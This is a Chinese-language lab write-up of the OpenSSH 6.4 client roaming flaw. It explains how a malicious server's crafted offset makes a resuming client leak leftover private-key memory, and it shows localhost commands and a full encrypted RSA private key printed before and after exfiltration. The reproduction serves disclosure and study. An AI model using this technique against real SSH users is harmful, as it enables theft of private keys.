Author:[email protected] Cloud Security Team
想起以前寫了很多廣告序，估計也沒什么人看。后來看到“天眼APT Team”和“360安服團隊”的人針對黑產只寫了句“人在做，天在看”，有點感悟。趕緊把sb類型的廣告刪掉，不能低估各位看客的智商。
安全本來就是攻防，沒什么好講的，一群追逐影子的人，對于漏洞的驗證只是滿足獵奇心理罷了。
寫完后還要去樓下繼續圍觀 360 Unicorn Team在360互聯網訓練營上的超級精彩演講。
hf!
不b話，上圖。
環境：
#!bash
系統版本：
Linux version 3.10.0-229.11.1.el7.x86_64 ([email protected]) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Thu Aug 6 01:06:18 UTC 2015
SSH版本：
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
以下結論為上述環境中實現
過程：
ssh建立連接時會讀入證書，其內存通過buffer.c文件中的buffer_init()，buffer_free()函數管理
正常情況使用完畢會將內存內容清零
但若證書內容大于4k，ssh會調用realloc重新分配更多內存，此時不會將之前的內存清零，由此證書頭4k內容會殘留在內存中
接著，若惡意服務器應答roaming，則協議好roaming id，cookie等以及一個服務端可控的偏移值 offset（實驗中我設置此值為 4096 – 663430，應客戶端默認發送緩沖長度為663430）
同時響應一個<=4k的長度s_len，客戶端會分配一塊長度為s_len的“roaming_mem”，內容即為未清零的證書前4k殘留
此時惡意服務器斷開連接，客戶端用戶可選擇恢復連接
則客戶端會將發送偏移(ofs1)設置為服務端送過來的 offset 加本機默認發送緩沖長度 663430
ofs2即是s_len長度4096
如此，客戶端會發送roaming_mem + ofs1 – ofs2，長度 ofs2 的內容到服務端
此時ofs1-ofs2恰好等于0，也就相當于發送roaming_mem為起始地址，ofs2=4096長度的內容，剛好就是證書4k殘留
實踐：
（證書內容本身不足4k，為方便實驗，手工在證書末尾添加了若干”\n”作為補位）
#!bash
[[email protected] openssh-6.4p1]$ ll /home/xxx/.ssh/id_rsa
-rw——- 1 xxx xxx 5169 Jan 16 11:58 /home/xxx/.ssh/id_rsa
[[email protected] openssh-6.4p1]$ strings /home/xxx/.ssh/id_rsa
—–BEGIN RSA PRIVATE KEY—–
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42
45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ
rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC
eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw
sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5
G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+
b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X
LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI
R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM
waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH
Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM
vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I
1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy
AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP
gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy
P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI
EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv
4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq
bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu
KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw
dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW
Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb
6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c
Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4
GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B
xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1
—–END RSA PRIVATE KEY—–
[[email protected] openssh-6.4p1]# /home/xxx/openssh-6.4p1/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
[[email protected] openssh-6.4p1]$ ./ssh -p222 127.0.0.1
Enter passphrase for key ‘/home/xxx/.ssh/id_rsa':
[email protected] password:
[connection suspended, press return to resume][connection resumed]
[63]+ Stopped ./ssh -p222 127.0.0.1
[[email protected] openssh-6.4p1]$ sudo -i
[sudo] password for xxx:
[[email protected] ~]# strings /home/xxx/key
—–BEGIN RSA PRIVATE KEY—–
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42
45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ
rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC
eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw
sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5
G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+
b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X
LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI
R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM
waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH
Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM
vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I
1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy
AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP
gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy
P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI
EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv
4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq
bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu
KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw
dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW
Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb
6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c
Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4
GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B
xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1
—–END RSA PRIVATE KEY—–
[[email protected] ~]# ll /home/xxx/key
-r——– 1 root root 4096 Jan 16 11:59 /home/xxx/key
唯一要說明的是現實世界里pravite key文件超過4k大小是一個并不常見的問題。引用Quake3里的最感人的一句話作結尾。
gl, i love this game! (不知道有誰見到過這句話，見過的人你應該也是戰斗過的人)。